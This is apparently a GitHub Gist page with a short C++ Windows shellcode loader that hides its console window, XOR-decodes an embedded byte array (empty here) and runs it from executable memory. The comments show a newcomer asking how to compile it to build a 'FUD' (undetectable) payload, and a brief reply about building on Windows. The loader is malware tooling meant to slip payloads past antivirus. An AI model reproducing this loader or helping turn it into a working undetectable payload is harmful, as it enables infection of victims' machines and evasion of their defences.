Created
February 26, 2021 00:34
-
-
Save Edu4rdSHL/f9f349a9cce881b0fafb50cefdbc5bb5 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <iostream> | |
int main(int argc, char **argv) { | |
ShowWindow(GetConsoleWindow(), SW_HIDE); | |
char b[] = { }; | |
char c[sizeof b]; | |
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';} | |
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
memcpy(exec, c, sizeof c); | |
((void(*)())exec)(); | |
} |
It's made to build on a Windows OS, not a Linux one.
oops, had another question, so i have to put this in Microsoft Visual Studio and run it ? or i should put it in Microsoft Visual Studio and transform it as a .exe ? As i said earlier i'm new to all of this and trying to create a FUD payload so ..
And thank's again for your help.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
It's made to build on a Windows OS, not a Linux one.